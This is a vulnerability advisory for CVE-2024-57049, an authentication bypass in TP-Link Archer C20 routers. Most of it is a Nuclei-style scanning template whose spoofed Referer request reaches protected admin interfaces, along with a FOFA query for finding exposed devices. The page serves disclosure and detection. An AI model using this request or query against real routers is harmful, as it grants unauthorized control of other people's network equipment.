CVE-2024-57049: TP-Link Archer C20 - Authentication Bypass

日期: 2025-08-01 | 影响软件: TP-Link Archer C20 | POC: 已公开

漏洞描述

A vulnerability in the TP-Link Archer C20 router with firmware version V6.6_230412 and earlier permits unauthorized individuals to bypass authentication on interfaces under the /cgi directory. When adding a Referer header with value "http://tplinkwifi.net" to requests, the router will recognize the request as passing authentication, allowing access to protected administration interfaces.

PoC代码[已公开]

id: CVE-2024-57049

info:
  name: TP-Link Archer C20 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in the TP-Link Archer C20 router with firmware version V6.6_230412 and earlier permits unauthorized individuals to bypass authentication on interfaces under the /cgi directory. When adding a Referer header with value "http://tplinkwifi.net" to requests, the router will recognize the request as passing authentication, allowing access to protected administration interfaces.
  remediation: |
    Update the router firmware to the latest version. Implement network segmentation to restrict access to the router's management interface.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/TP-Link/archer%20c20/ACL%20bypass%20Vulnerability%20in%20TP-Link%20archer%20c20.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57049
    - https://github.com/advisories/GHSA-qr32-fcm4-m5h9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-57049
    cwe-id: CWE-287
    epss-score: 0.35761
    epss-percentile: 0.96971
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="Archer C20"
  tags: cve,cve2024,tp-link,auth-bypass,archer-c20,vkev

http:
  - raw:
      - |
        POST /cgi/getGDPRParm HTTP/1.1
        Host: {{Hostname}}
        Referer: http://tplinkwifi.net

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "$.ret=0;"
          - "var "
        condition: and

      - type: word
        part: content_type
        words:
          - "application/javascript"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022056a2e9763229a2b7e95d5d49a9e6535260ab37bce44a295cb8f9dd3930b2fb88022100ba04e6d6291d4684d7f919f380f8bb4018a8d11a41a83e19dae6539623303630:922c64590222798bb761d5b6d8e72950